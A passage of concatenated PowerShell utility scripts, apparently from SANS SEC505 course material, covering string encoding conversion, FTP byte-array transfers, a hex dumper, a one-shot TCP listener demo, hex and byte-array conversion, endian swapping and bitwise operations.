**# Return raw ending encoded bytes instead of a string.**

**[byte[]] $Bytes = @()**

**Switch -Regex ( $StartingEncoding.ToUpper().Trim() )**

**{**

**'UNICODE|UTF16-LE|^UTF16$'**

**{**

**$Bytes = ([System.Text.Encoding]::Unicode).GetBytes($String)**

**$From = [System.Text.Encoding]::Unicode**

**continue**

**}**

**'ASCII'**

**{**

**$Bytes = ([System.Text.Encoding]::ASCII).GetBytes($String)**

**$From = [System.Text.Encoding]::ASCII**

**continue**

**}**

**'UTF8'**

**{**

**$Bytes = ([System.Text.Encoding]::UTF8).GetBytes($String)**

**$From = [System.Text.Encoding]::UTF8**

**continue**

**}**

**'UTF32'**

**{**

**$Bytes = ([System.Text.Encoding]::UTF32).GetBytes($String)**

**$From = [System.Text.Encoding]::UTF32**

**continue**

**}**

**'^UTF16-BE$'**

**{**

**$Bytes = ([System.Text.Encoding]::BigEndianUnicode).GetBytes($String)**

**$From = [System.Text.Encoding]::BigEndianUnicode**

**continue**

**}**

**default**

**{ throw "Must provide a valid starting encoding name." }**

**}**

**Switch -Regex ( $EndingEncoding.ToUpper().Trim() )**

**{**

**'ASCII'**

**{**

**$Bytes = [System.Text.Encoding]::Convert($From, [System.Text.Encoding]::ASCII, $Bytes )**

**If ($RawBytes) { $Bytes } Else { ([System.Text.Encoding]::ASCII).GetString($Bytes) }**

**continue**

**}**

**'UTF8'**

**{**

**$Bytes = [System.Text.Encoding]::Convert($From, [System.Text.Encoding]::UTF8, $Bytes )**

**If ($RawBytes) { $Bytes } Else { ([System.Text.Encoding]::UTF8).GetString($Bytes) }**

**continue**

**}**

**'UNICODE|UTF16-LE|^UTF16$|^UTF16LE$'**

**{**

**$Bytes = [System.Text.Encoding]::Convert($From, [System.Text.Encoding]::Unicode, $Bytes )**

**If ($RawBytes) { $Bytes } Else { ([System.Text.Encoding]::Unicode).GetString($Bytes) }**

**continue**

**}**

**'UTF32'**

**{**

**$Bytes = [System.Text.Encoding]::Convert($From, [System.Text.Encoding]::UTF32, $Bytes )**

**If ($RawBytes) { $Bytes } Else { ([System.Text.Encoding]::UTF32).GetString($Bytes) }**

**continue**

**}**

**'^UTF16-BE$|^UTF16BE$'**

**{**

**$Bytes = [System.Text.Encoding]::Convert($From, [System.Text.Encoding]::BigEndianUnicode, $Bytes )**

**If ($RawBytes) { $Bytes } Else { ([System.Text.Encoding]::BigEndianUnicode).GetString($Bytes) }**

**continue**

**}**

**default**

**{ throw "Must provide a valid ending encoding name." }**

**}**

**}**

**$in = Convert-StringEncoding -StartingEncoding "UNICODE" -EndingEncoding "ASCII" -String "AAAAA"**

**Convert-StringEncoding -StartingEncoding "ASCII" -EndingEncoding "UTF16BE" -String $in -RawBytes**

**﻿#################################################################**

**#.SYNOPSIS**

**# Functions for interacting with an FTP server using byte arrays.**

**#**

**#.DESCRIPTION**

**# Functions for interacting with an FTP server: get a directory**

**# listing of folders and files returned as objects, upload a**

**# byte array to a file, and download a file returned as an**

**# array of bytes (not as a file).**

**#**

**#.NOTES**

**# TODO: Need to add error handling, handle very large arrays**

**# more efficiently, fill out all the help comments, suck less.**

**#################################################################**

**Function Get-FtpDirectoryListing**

**{**

**#.SYNOPSIS**

**# Directory listing from FTP server as file/folder objects.**

**#.PARAMETER FtpURI**

**# FTP URI string like 'ftp://server/folder/'.**

**Param**

**(**

**[Parameter(Mandatory=$True)][String] $FtpURI,**

**[String] $UserName = 'anonymous',**

**[String] $Password = 'anonymous@local',**

**[Switch] $UsePlainText,**

**[Switch] $RawListingText**

**)**

**# Prepend "ftp://" if missing:**

**if ($FtpURI.Substring(0,6) -ne 'ftp://'){ $FtpURI = 'ftp://' + $FtpURI }**

**# Get details of files and folders:**

**$FtpWebRequest = [System.Net.FtpWebRequest]::Create($FtpURI)**

**$FtpWebRequest.UsePassive = $True**

**$FtpWebRequest.UseBinary = $True**

**$FtpWebRequest.EnableSsl = $True**

**if ($UsePlainText){ $FtpWebRequest.EnableSsl = $False }**

**$FtpWebRequest.Credentials = New-Object -TypeName System.Net.NetworkCredential -ArgumentList @($UserName, $Password)**

**$FtpWebRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails**

**$Response = $FtpWebRequest.GetResponse()**

**$Reader = New-Object -TypeName System.IO.StreamReader -ArgumentList @($Response.GetResponseStream())**

**$DirDetailed = $Reader.ReadToEnd()**

**$Reader.Close()**

**$Response.Close()**

**# Output raw listing text returned by FTP server?**

**if ($RawListingText)**

**{**

**$FtpWebRequest = $null**

**$DirDetailed**

**Return**

**}**

**#Get simple file or folder names only:**

**$FtpWebRequest = [System.Net.FtpWebRequest]::Create($FtpURI)**

**$FtpWebRequest.UsePassive = $True**

**$FtpWebRequest.UseBinary = $True**

**$FtpWebRequest.EnableSsl = $True**

**if ($UsePlainText){ $FtpWebRequest.EnableSsl = $False }**

**$FtpWebRequest.Credentials = New-Object -TypeName System.Net.NetworkCredential -ArgumentList @($UserName, $Password)**

**$FtpWebRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectory**

**$Response = $FtpWebRequest.GetResponse()**

**$Reader = New-Object -TypeName System.IO.StreamReader -ArgumentList @($Response.GetResponseStream())**

**$DirSimple = $Reader.ReadToEnd()**

**$Reader.Close()**

**$Response.Close()**

**$FtpWebRequest = $null**

**# Split simple and detailed listings into arrays:**

**[System.String[]] $DirSimple = @( $DirSimple -split "`n" )**

**[System.String[]] $DirDetailed = @( $DirDetailed -split "`n" )**

**# Sanity checks:**

**if ($DirSimple.Count -ne $DirDetailed.Count){ Throw "Directory listing count mismatch!" }**

**if ($DirDetailed[0] -notlike ("\*" + $DirSimple[0])){ Throw "Directory listing first item mismatch!" }**

**if ($DirDetailed[-1] -notlike ("\*" + $DirSimple[-1])){ Throw "Directory listing last item mismatch!" }**

**# Test for directories:**

**# TODO: Extract file size too and add it to output objects.**

**For ( $i = 0; $i -lt $DirSimple.Count - 1; $i++ )**

**{**

**#Unix-style directory entries begin with "d", like "drwxrwxrwx".**

**#DOS-style directory entries contain a "<DIR>" in the middle.**

**if ( $DirDetailed[$i] -match '^d[r-]|\ {3,}\<DIR\>\ {3,}\S+' -and $DirDetailed[$i].Length -gt 0 )**

**{**

**[PSCustomObject] @{ IsFile = $False; Name = $DirSimple[$i].Trim() }**

**}**

**else**

**{**

**[PSCustomObject] @{ IsFile = $True ; Name = $DirSimple[$i].Trim() }**

**}**

**}**

**}**

**Function Upload-ByteArrayToFtpServer**

**{**

**#.SYNOPSIS**

**# Create new file at FTP server from a Byte[] array.**

**#.PARAMETER ByteArray**

**# A System.Byte[] array to fill new file on FTP server.**

**#.PARAMETER FtpURI**

**# FTP URI string like 'ftp://server/folder/file.ext'.**

**Param**

**(**

**[Parameter(Mandatory=$True)][Byte[]] $ByteArray,**

**[Parameter(Mandatory=$True)][String] $FtpURI,**

**[String] $UserName = 'anonymous',**

**[String] $Password = 'anonymous@local',**

**[Switch] $UsePlainText**

**)**

**# Prepend "ftp://" if missing:**

**if ($FtpURI.Substring(0,6) -ne 'ftp://'){ $FtpURI = 'ftp://' + $FtpURI }**

**# Sanity checks:**

**# TODO: URI does not end with "/", and what else?**

**# Upload bytes to a new file:**

**$FtpWebRequest = [System.Net.FtpWebRequest]::Create($FtpURI)**

**$FtpWebRequest.UsePassive = $True**

**$FtpWebRequest.UseBinary = $True**

**$FtpWebRequest.EnableSsl = $True**

**if ($UsePlainText){ $FtpWebRequest.EnableSsl = $False }**

**$FtpWebRequest.Credentials = New-Object -TypeName System.Net.NetworkCredential -ArgumentList @($UserName, $Password)**

**$FtpWebRequest.Method = [System.Net.WebRequestMethods+Ftp]::UploadFile**

**$FtpWebRequest.ContentLength = $ByteArray.Count**

**$Response = $FtpWebRequest.GetRequestStream()**

**#TODO: Catch error 550 here if dest is not writable.**

**$Response.Write($ByteArray,0,$ByteArray.Count)**

**$Response.Close()**

**Write-Verbose -Verbose -Message $FtpWebRequest.GetResponse().StatusDescription**

**$FtpWebRequest = $null**

**}**

**Function Download-ByteArrayFromFtpServer**

**{**

**#.SYNOPSIS**

**# Download file from FTP server, output Byte objects.**

**#.PARAMETER FtpURI**

**# FTP URI string like 'ftp://server/folder/file.ext'.**

**Param**

**(**

**[Parameter(Mandatory=$True)][String] $FtpURI,**

**[String] $UserName = 'anonymous',**

**[String] $Password = 'anonymous@local',**

**[Switch] $UsePlainText**

**)**

**# Prepend "ftp://" if missing:**

**if ($FtpURI.Substring(0,6) -ne 'ftp://'){ $FtpURI = 'ftp://' + $FtpURI }**

**# Sanity checks:**

**# TODO: URI does not end with "/", and what else?**

**# Output file URI as System.Byte objects:**

**$FtpWebRequest = [System.Net.FtpWebRequest]::Create($FtpURI)**

**$FtpWebRequest.UsePassive = $True**

**$FtpWebRequest.UseBinary = $True**

**$FtpWebRequest.EnableSsl = $True**

**if ($UsePlainText){ $FtpWebRequest.EnableSsl = $False }**

**$FtpWebRequest.Credentials = New-Object -TypeName System.Net.NetworkCredential -ArgumentList @($UserName, $Password)**

**$FtpWebRequest.Method = [System.Net.WebRequestMethods+Ftp]::DownloadFile**

**$Response = $FtpWebRequest.GetResponse()**

**$Reader = New-Object -TypeName System.IO.BinaryReader -ArgumentList @($Response.GetResponseStream())**

**[System.Byte[]] $Bytes = @()**

**Do { $Bytes = $Reader.ReadBytes(1000) ; $Bytes }**

**While ( $Bytes.Count -eq 1000)**

**$Response.Close()**

**Write-Verbose -Verbose -Message $FtpWebRequest.GetResponse().StatusDescription**

**$FtpWebRequest = $null**

**}**

**##############################################################################**

**#.Synopsis**

**# Display the hex dump of a file.**

**#**

**#.Parameter Path**

**# Path to file as a string or as a System.IO.FileInfo object;**

**# object can be piped into the function, string cannot.**

**#**

**#.Parameter Width**

**# Number of hex bytes shown per line (default = 16).**

**#**

**#.Parameter Count**

**# Number of bytes in the file to process (default = all).**

**#**

**#.Parameter PlaceHolder**

**# What to print when byte is not a character (default = '.' ).**

**#**

**#.Parameter NoOffset**

**# Switch to suppress offset line numbers in output (left side).**

**#**

**#.Parameter NoText**

**# Switch to suppress text mapping of bytes in output (right side).**

**#**

**#.Notes**

**# Date: 1.Jul.2014**

**# Version: 1.3**

**# Author: Jason Fossen, Enclave Consulting LLC (http://www.sans.org/sec505)**

**# Legal: Script provided "AS IS" without warranties or guarantees of any**

**# kind. USE AT YOUR OWN RISK. Public domain. No rights reserved.**

**##############################################################################**

**[CmdletBinding()] Param**

**(**

**[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]**

**[Alias("FullName","FilePath")] $Path,**

**[Int] $Width = 16,**

**[Int] $Count = -1,**

**[String] $PlaceHolder = '.',**

**[Switch] $NoOffset,**

**[Switch] $NoText**

**)**

**function Get-FileHex**

**{**

**################################################################**

**#.Synopsis**

**# Display the hex dump of a file.**

**#.Parameter Path**

**# Path to file as a string or as a System.IO.FileInfo object;**

**# object can be piped into the function, string cannot.**

**#.Parameter Width**

**# Number of hex bytes shown per line (default = 16).**

**#.Parameter Count**

**# Number of bytes in the file to process (default = all).**

**#.Parameter PlaceHolder**

**# What to print when byte is not a character (default= '.' ).**

**#.Parameter NoOffset**

**# Switch to suppress offset line numbers in output (left).**

**#.Parameter NoText**

**# Switch to suppress text mapping of bytes in output (right).**

**################################################################**

**[CmdletBinding()] Param**

**(**

**[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]**

**[Alias("FullName","FilePath")] $Path,**

**[Int] $Width = 16,**

**[Int] $Count = -1,**

**[String] $PlaceHolder = ".",**

**[Switch] $NoOffset,**

**[Switch] $NoText**

**)**

**$linecounter = 0 # Offset from beginning of file in hex.**

**#$placeholder = "." # What to print when byte is not a letter or digit.**

**get-content $path -encoding byte -readcount $width -totalcount $count |**

**foreach-object `**

**{**

**$paddedhex = $text = $null**

**$bytes = $\_ # Array of [Byte] objects that is $width items in length.**

**foreach ($byte in $bytes)`**

**{**

**$byteinhex = [String]::Format("{0:X}", $byte) # Convert byte to hex.**

**$paddedhex += $byteinhex.PadLeft(2,"0") + " " # Pad with two zeros.**

**}**

**# Total bytes unlikely to be evenly divisible by $width, so fix last line.**

**# Hex output width is '$width \* 3' because of the extra spaces.**

**if ($paddedhex.length -lt $width \* 3)**

**{ $paddedhex = $paddedhex.PadRight($width \* 3," ") }**

**foreach ($byte in $bytes)`**

**{**

**if ( [Char]::IsLetterOrDigit($byte) -or**

**[Char]::IsPunctuation($byte) -or**

**[Char]::IsSymbol($byte) )**

**{ $text += [Char] $byte }**

**else**

**{ $text += $placeholder }**

**}**

**$offsettext = [String]::Format("{0:X}", $linecounter) # Linecounter in hex too.**

**$offsettext = $offsettext.PadLeft(8,"0") + "h:" # Pad linecounter with left zeros.**

**$linecounter += $width # Increment linecounter.**

**if (-not $NoOffset) { $paddedhex = "$offsettext $paddedhex" }**

**if (-not $NoText) { $paddedhex = $paddedhex + $text }**

**$paddedhex**

**}**

**}**

**Get-FileHex -path $path -width $width -count $count -placeholder $placeholder -NoOffset:$NoOffset -NoText:$NoText**

**################################################################################################**

**# Purpose: This function demonstrates how to listen on a TCP port.**

**# Output: Outputs an array of raw bytes, which can be saved to a file using the**

**# "set-content -encoding byte" command, or, if you use the -ToAscii switch**

**# with the function, it will output the ASCII text translation instead.**

**# Notes: This is just to get you started, see the System.Net.Sockets documentation.**

**################################################################################################**

**param ([Int32] $port = 9999, [Switch] $ToAscii)**

**function ListenOnTcpPortOnce ([Int32] $port = 9999, [Switch] $ToAscii)**

**{**

**$TcpListener = new-object System.Net.Sockets.TcpListener([System.Net.IPAddress]::Any, $port)**

**Trap { "Error listening on TCP port " + $port + ":`n" + $\_ ; return }**

**$TcpListener.Start() #Listen on port, place new connections into queue.**

**$IntSize = $TcpListener.Server.ReceiveBufferSize #How many bytes max buffered up at a time.**

**$ByteArray = new-object System.Byte[] -arg $IntSize #Create local buffer of that max size.**

**$TcpClient = $TcpListener.AcceptTcpClient() #Wait here until there is a live inbound connection, then**

**# move connection out of queue into $TcpClient.**

**$NetworkStream = $TcpClient.GetStream() #Get the stream of inbound/outbound bytes for this TCP**

**# for reading/sending bytes of data.**

**Do #Now loop through and process the bytes received...**

**{**

**$NumBytesRead = $NetworkStream.Read($ByteArray, 0, $ByteArray.Length) #Read inbound bytes into buffer.**

**if ($ToAscii)**

**{ $(new-object System.Text.AsciiEncoding).GetString( $ByteArray[0..($NumBytesRead - 1)] ) } #ASCII translation.**

**else**

**{ $ByteArray[0..($NumBytesRead - 1)] } #Emit raw bytes.**

**} While ($NetworkStream.DataAvailable) #Data being sent might be larger than local buffer.**

**$TcpClient.Close() #Closes this particular TCP connection.**

**$TcpListener.Stop() #Stops listening on the port entirely.**

**}**

**#Demo the function...**

**if ($toascii) { ListenOnTcpPortOnce -port $port -toascii}**

**else { ListenOnTcpPortOnce -port $port }**

**##############################################################################**

**# Script: Manipulate-Binary.ps1**

**# Purpose: A variety of functions for manipulating hex and binary files.**

**# Date: 29.Nov.2012**

**# Version: 3.0**

**# Author: Jason Fossen, Enclave Consulting LLC (http://www.sans.org/sec505)**

**# Notes: Requires PowerShell 2.0 or later.**

**# Legal: Script provided "AS IS" without warranties or guarantees of any**

**# kind. USE AT YOUR OWN RISK. Public domain, no rights reserved.**

**##############################################################################**

**# Convert the following base data types into an array of**

**# bytes: Boolean, Char, Double, Int\*, UInt\*, and Single.**

**# Char is the Unicode code point number of a glyph (two bytes).**

**[Byte[]] $bytes = [System.BitConverter]::GetBytes( [Int64] 99999999999999999 )**

**[Byte[]] $bytes = [System.BitConverter]::GetBytes( [Char] 65 )**

**# You can read a binary (or text) file into an array of bytes**

**# using the -encoding parameter of get-content:**

**[System.Byte[]] $filebytes = get-content HelloWorld.ps1 -encoding byte**

**# You can of course construct the array and then write it to a file:**

**$filebytes = @(13,10,34,72,101,108,108,111,32,87,111,114,108,100,33,34,13,10,13,10)**

**# To create a single Byte object or an array of Bytes:**

**[Byte] $x = 0x4D**

**[Byte[]] $y = 0x4D,0x5A,0x90,0x00,0x03**

**# Once you have an array of bytes, you can write them back to a file:**

**$filebytes | set-content HelloWorld2.ps1 -encoding byte**

**# To read the bytes of a file into an array (SLOW with large files):**

**[byte[]] $x = get-content -encoding byte -path .\file.exe**

**# To overwrite or create a file with raw bytes, avoiding any hidden string conversion, where $x is a Byte[] array:**

**set-content -value $x -encoding byte -path .\outfile.exe**

**# To append to or create a file with raw bytes, avoiding any hidden string conversion, where $x is a Byte[] array:**

**add-content -value $x -encoding byte -path .\outfile.exe**

**################################################################**

**#.Synopsis**

**# Returns an array of System.Byte[] of the file contents.**

**#**

**#.Parameter Path**

**# Path to the file as a string or as System.IO.FileInfo object.**

**# FileInfo object can be piped into the function. Path as a**

**# string can be relative or absolute, but cannot be piped.**

**################################################################**

**function Read-FileByte**

**{**

**[CmdletBinding()] Param (**

**[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]**

**[Alias("FullName","FilePath")]**

**$Path )**

**[System.IO.File]::ReadAllBytes( $(resolve-path $Path) )**

**}**

**################################################################**

**#.Synopsis**

**# Overwrites or creates a file with an array of raw bytes.**

**#**

**#.Parameter ByteArray**

**# System.Byte[] array of bytes to put into the file. If you**

**# pipe this array in, you must pipe the [Ref] to the array.**

**#**

**#.Parameter Path**

**# Path to the file as a string or as System.IO.FileInfo object.**

**# Path as a string can be relative, absolute, or a simple file**

**# name if the file is in the present working directory.**

**#**

**#.Example**

**# write-filebyte -bytearray $bytes -path outfile.bin**

**#**

**#.Example**

**# [Ref] $bytes | write-filebyte -path c:\temp\outfile.bin**

**################################################################**

**function Write-FileByte**

**{**

**[CmdletBinding()] Param (**

**[Parameter(Mandatory = $True, ValueFromPipeline = $True)] [System.Byte[]] $ByteArray,**

**[Parameter(Mandatory = $True)] $Path )**

**if ($Path -is [System.IO.FileInfo])**

**{ $Path = $Path.FullName }**

**elseif ($Path -notlike "\*\\*") #Simple file name.**

**{ $Path = "$pwd" + "\" + "$Path" }**

**elseif ($Path -like ".\\*") #pwd of script**

**{ $Path = $Path -replace "^\.",$pwd.Path }**

**elseif ($Path -like "..\\*") #parent directory of pwd of script**

**{ $Path = $Path -replace "^\.\.",$(get-item $pwd).Parent.FullName }**

**else**

**{ throw "Cannot resolve path!" }**

**[System.IO.File]::WriteAllBytes($Path, $ByteArray)**

**}**

**################################################################**

**#.Synopsis**

**# Converts a byte array to a string**

**#**

**#.Description**

**# Returns the string representation of a System.Byte[] array.**

**# ASCII string is the default, but Unicode, UTF7, UTF8 and**

**# UTF32 are available too.**

**#**

**#.Parameter ByteArray**

**# System.Byte[] array of bytes to put into the file. If you**

**# pipe this array in, you must pipe the [Ref] to the array.**

**# Also accepts a single Byte object instead of Byte[].**

**#**

**#.Parameter Encoding**

**# Encoding of the string: ASCII, Unicode, UTF7, UTF8 or UTF32.**

**# ASCII is the default. "Unicode" is actually UTF16-LE.**

**################################################################**

**function Convert-ByteArrayToString**

**{**

**[CmdletBinding()] Param (**

**[Parameter(Mandatory = $True, ValueFromPipeline = $True)] [System.Byte[]] $ByteArray,**

**[Parameter()] [String] $Encoding = "ASCII" )**

**switch ( $Encoding.ToUpper() )**

**{**

**"ASCII" { $EncodingType = "System.Text.ASCIIEncoding" }**

**"UNICODE" { $EncodingType = "System.Text.UnicodeEncoding" }**

**"UTF7" { $EncodingType = "System.Text.UTF7Encoding" }**

**"UTF8" { $EncodingType = "System.Text.UTF8Encoding" }**

**"UTF32" { $EncodingType = "System.Text.UTF32Encoding" }**

**Default { $EncodingType = "System.Text.ASCIIEncoding" }**

**}**

**$Encode = new-object $EncodingType**

**$Encode.GetString($ByteArray)**

**}**

**################################################################**

**#.Synopsis**

**# Convert a hex string to a byte array.**

**#**

**#.Description**

**# Convert a string of hex data into a System.Byte[] array. An**

**# array is always returned, even if it contains only one byte.**

**#**

**#.Parameter String**

**# A string containing hex data in any of a variety of formats,**

**# including strings like the following, with or without extra**

**# tabs, spaces, quotes or other non-hex characters:**

**# 0x41,0x42,0x43,0x44**

**# \x41\x42\x43\x44**

**# 41-42-43-44**

**# 41424344**

**# The string can be piped into the function too.**

**################################################################**

**function Convert-HexStringToByteArray**

**{**

**[CmdletBinding()]**

**Param ( [Parameter(Mandatory = $True, ValueFromPipeline = $True)] [String] $String )**

**#Clean out whitespaces and any other non-hex crud.**

**$String = $String.ToLower() -replace '[^a-f0-9\\\,x\-\:]',''**

**#Try to put into canonical colon-delimited format.**

**$String = $String -replace '0x|\\x|\-|,',':'**

**#Remove beginning and ending colons, and other detritus.**

**$String = $String -replace '^:+|:+$|x|\\',''**

**#Maybe there's nothing left over to convert...**

**if ($String.Length -eq 0) { ,@() ; return }**

**#Split string with or without colon delimiters.**

**if ($String.Length -eq 1)**

**{ ,@([System.Convert]::ToByte($String,16)) }**

**elseif (($String.Length % 2 -eq 0) -and ($String.IndexOf(":") -eq -1))**

**{ ,@($String -split '([a-f0-9]{2})' | foreach-object { if ($\_) {[System.Convert]::ToByte($\_,16)}}) }**

**elseif ($String.IndexOf(":") -ne -1)**

**{ ,@($String -split ':+' | foreach-object {[System.Convert]::ToByte($\_,16)}) }**

**else**

**{ ,@() }**

**#The strange ",@(...)" syntax is needed to force the output into an**

**#array even if there is only one element in the output (or none).**

**}**

**################################################################**

**#.Synopsis**

**# Converts a byte array to a hex string.**

**#**

**#.Description**

**# Returns a hex representation of a System.Byte[] array as**

**# one or more strings. Hex format can be changed.**

**#**

**#.Parameter ByteArray**

**# System.Byte[] array of bytes to put into the file. If you**

**# pipe this array in, you must pipe the [Ref] to the array.**

**# Also accepts a single Byte object instead of Byte[].**

**#**

**#.Parameter Width**

**# Number of hex characters per line of output.**

**#**

**#.Parameter Delimiter**

**# How each pair of hex characters (each byte of input) will be**

**# delimited from the next pair in the output. The default**

**# looks like "0x41,0xFF,0xB9" but you could specify "\x" if**

**# you want the output like "\x41\xFF\xB9" instead. You do**

**# not have to worry about an extra comma, semicolon, colon**

**# or tab appearing before each line of output. The default**

**# value is ",0x".**

**#**

**#.Parameter Prepend**

**# An optional string you can prepend to each line of hex**

**# output, perhaps like '$x += ' to paste into another**

**# script, hence the single quotes.**

**#**

**#.Parameter AppendComma**

**# Appends a comma to each line of output, except the last.**

**#**

**#.Parameter AddQuotes**

**# A switch which will enclose each line in double-quotes.**

**#**

**#.Example**

**# [Byte[]] $x = 0x41,0x42,0x43,0x44**

**# Convert-ByteArrayToHexString $x**

**#**

**# 0x41,0x42,0x43,0x44**

**#**

**#.Example**

**# [Byte[]] $x = 0x41,0x42,0x43,0x44**

**# Convert-ByteArrayToHexString $x -width 2 -delimiter "\x" -addquotes**

**#**

**# "\x41\x42"**

**# "\x43\x44"**

**################################################################**

**function Convert-ByteArrayToHexString**

**{**

**[CmdletBinding()]**

**Param**

**(**

**[Parameter(Mandatory = $True, ValueFromPipeline = $True)] [System.Byte[]] $ByteArray,**

**[Parameter()] [Int] $Width = 10,**

**[Parameter()] [String] $Delimiter = ",0x",**

**[Parameter()] [String] $Prepend = "",**

**[Parameter()] [Switch] $AddQuotes,**

**[Parameter()] [Switch] $AppendComma**

**)**

**if ($Width -lt 1) { $Width = 1 }**

**if ($ByteArray.Length -eq 0) { Return }**

**$FirstDelimiter = $Delimiter -Replace "^[\,\\:\t]",""**

**$From = 0**

**$To = $Width - 1**

**Do**

**{**

**$String = [System.BitConverter]::ToString($ByteArray[$From..$To])**

**$String = $FirstDelimiter + ($String -replace "\-",$Delimiter)**

**$From += $Width**

**$To += $Width**

**if ($AppendComma -and $From -lt $ByteArray.Length) { $String = $String + ',' }**

**if ($AddQuotes) { $String = '"' + $String + '"' }**

**if ($Prepend -ne "") { $String = $Prepend + $String }**

**$String**

**} While ($From -lt $ByteArray.Length)**

**}**

**################################################################**

**#.Synopsis**

**# Switch the bytes in an array between little/big-endian.**

**#**

**.Description**

**# Swaps the ordering of bytes in an array where each swappable**

**# unit can be one or more bytes, and, if more than one, the**

**# ordering of the bytes within that unit is NOT swapped. Can**

**# be used to toggle between little- and big-endian formats.**

**# Cannot be used to swap nibbles or bits within a single byte.**

**#**

**#.Parameter ByteArray**

**# System.Byte[] array of bytes to be rearranged. If you**

**# pipe this array in, you must pipe the [Ref] to the array, but**

**# a new array will be returned (originally array untouched).**

**#**

**#.Parameter SubWidthInBytes**

**# Defaults to 1 byte. Defines the number of bytes in each unit**

**# (or atomic element) which is swapped, but no swapping occurs**

**# within that unit. The number of bytes in the ByteArray must**

**# be evenly divisible by SubWidthInBytes.**

**#**

**#.Example**

**# $bytearray = toggle-endian $bytearray**

**#**

**#.Example**

**# [Ref] $bytearray | toggle-endian -SubWidthInBytes 2**

**################################################################**

**function Toggle-Endian**

**{**

**[CmdletBinding()] Param (**

**[Parameter(Mandatory = $True, ValueFromPipeline = $True)] [System.Byte[]] $ByteArray,**

**[Parameter()] [Int] $SubWidthInBytes = 1 )**

**if ($ByteArray.count -eq 1 -or $ByteArray.count -eq 0) { $ByteArray ; return }**

**if ($SubWidthInBytes -eq 1) { [System.Array]::Reverse($ByteArray); $ByteArray ; return }**

**if ($ByteArray.count % $SubWidthInBytes -ne 0)**

**{ throw "ByteArray size must be an even multiple of SubWidthInBytes!" ; return }**

**$newarray = new-object System.Byte[] $ByteArray.count**

**# $i tracks ByteArray from head, $j tracks NewArray from end.**

**for ($($i = 0; $j = $newarray.count - 1) ;**

**$i -lt $ByteArray.count ;**

**$($i += $SubWidthInBytes; $j -= $SubWidthInBytes))**

**{**

**for ($k = 0 ; $k -lt $SubWidthInBytes ; $k++)**

**{ $newarray[$j - ($SubWidthInBytes - 1) + $k] = $ByteArray[$i + $k] }**

**}**

**$newarray**

**}**

**##########################################################################**

**#.Synopsis**

**# Save array of doubles to a file.**

**#**

**#.Description**

**# Save a large arrays of doubles to binary files quickly. Use the**

**# System.Runtime.Serialization.Formatters.Binary.BinaryFormatter class,**

**# which means any other .NET application can easily read it too, but**

**# the file contents are not text, i.e., not good for non-.NET apps.**

**#**

**#.Parameter FilePath**

**# File to which to save the numerical array.**

**#**

**#.Parameter Array**

**# Array of doubles.**

**#**

**#.Example**

**# [Double[]] $m1 = 1..1000000**

**# Save-NumericalArrayToFile -FilePath 'f:\temp\serial.bin' -Array $m1**

**##########################################################################**

**function Save-NumericalArrayToFile ([String] $FilePath, $Array)**

**{**

**if (($FilePath.IndexOf(':') -eq -1) -and (-not $FilePath.StartsWith('\\')))**

**{ throw 'FilePath must be a full explicit path!' ; return }**

**Try**

**{**

**$FileStream = New-Object -TypeName System.IO.FileStream -ArgumentList @( $FilePath, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write) -ErrorAction Stop**

**$BinFormatter = New-Object -TypeName 'System.Runtime.Serialization.Formatters.Binary.BinaryFormatter' -ErrorAction Stop**

**$BinFormatter.Serialize( $FileStream, $Array )**

**}**

**Catch { return $\_ }**

**Finally { if ($FileStream){ $FileStream.Close() } }**

**}**

**##########################################################################**

**#.Synopsis**

**# Read an array of doubles from a file.**

**#**

**#.Description**

**# Read a large arrays of doubles from a binary file quickly. Use the**

**# System.Runtime.Serialization.Formatters.Binary.BinaryFormatter class.**

**#**

**#.Parameter FilePath**

**# File to which to save the numerical array.**

**#**

**#.Example**

**# $data = Read-NumericalArrayFromFile -FilePath "f:\temp\serial.bin"**

**##########################################################################**

**function Read-NumericalArrayFromFile ([String] $FilePath)**

**{**

**Try { $FilePath = (dir $FilePath -ErrorAction Stop | Resolve-Path -ErrorAction Stop).ProviderPath } Catch { return $\_ }**

**Try**

**{**

**$FileStream = New-Object -TypeName System.IO.FileStream -ArgumentList @( $FilePath, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read) -ErrorAction Stop**

**$BinFormatter = New-Object -TypeName 'System.Runtime.Serialization.Formatters.Binary.BinaryFormatter' -ErrorAction Stop**

**,($BinFormatter.Deserialize( $FileStream )) #Don't delete the comma; returns the entire filled array.**

**}**

**Catch { return $\_ }**

**Finally { if ($FileStream){ $FileStream.Close() } }**

**}**

**##############################################################################**

**#**

**# Demo various ways of manipulating binary bits inside a byte.**

**#**

**##############################################################################**

**# Convert a string representation of binary bits to a decimal integer:**

**function Get-IntFromBits ([String] $Bits) { [System.Convert]::ToUInt32($Bits,2) }**

**Get-IntFromBits -Bits "11111111"**

**Get-IntFromBits -Bits "10101010"**

**Get-IntFromBits -Bits "00000001"**

**# Convert a decimal integer to an binary string representation:**

**function Get-BitsFromInt ([UInt32] $Integer, [Switch] $NoLeadingZeros)**

**{**

**if ($NoLeadingZeros) { [System.Convert]::ToString($Integer,2) }**

**else { ([System.Convert]::ToString($Integer,2)).PadLeft(8,"0") }**

**}**

**Get-BitsFromInt -Integer 255**

**Get-BitsFromInt -Integer 19**

**Get-BitsFromInt -Integer 1**

**# Careful when converting bytes to a 16/32/64-bit number! x86/x64 machines are**

**# little-endian, which means the byte array might need to be reversed first.**

**# See http://blogs.msdn.com/b/bclteam/archive/2008/04/09/working-with-signed-non-decimal-and-bitwise-values-ron-petrusha.aspx**

**[Byte[]] $In = @(0,0,0,1)**

**if ([System.BitConverter]::IsLittleEndian) { [System.Array]::Reverse($In) }**

**[System.BitConverter]::ToUInt32($In,0) #Returns 16777216 without the reversal.**

**# Show bit-shifting (requires PoSh 3.0)**

**0..7 | foreach { "+$\_ : " + ([System.Convert]::ToString( (1 -shl $\_),2)).PadLeft(8,"0") } # -SHL = bit-shift left**

**0..9 | foreach { "-$\_ : " + ([System.Convert]::ToString( (128 -shr $\_),2)).PadLeft(8,"0") } # -SHR = bit-shift right**

**# Do binary XOR, OR, AND, NOT.**

**# For more information about bitwise operators: get-help about\_Comparison\_Operators**

**"101 = " + (Get-BitsFromInt -Integer 101)**

**"228 = " + (Get-BitsFromInt -Integer 228)**

**"`nbxor"**

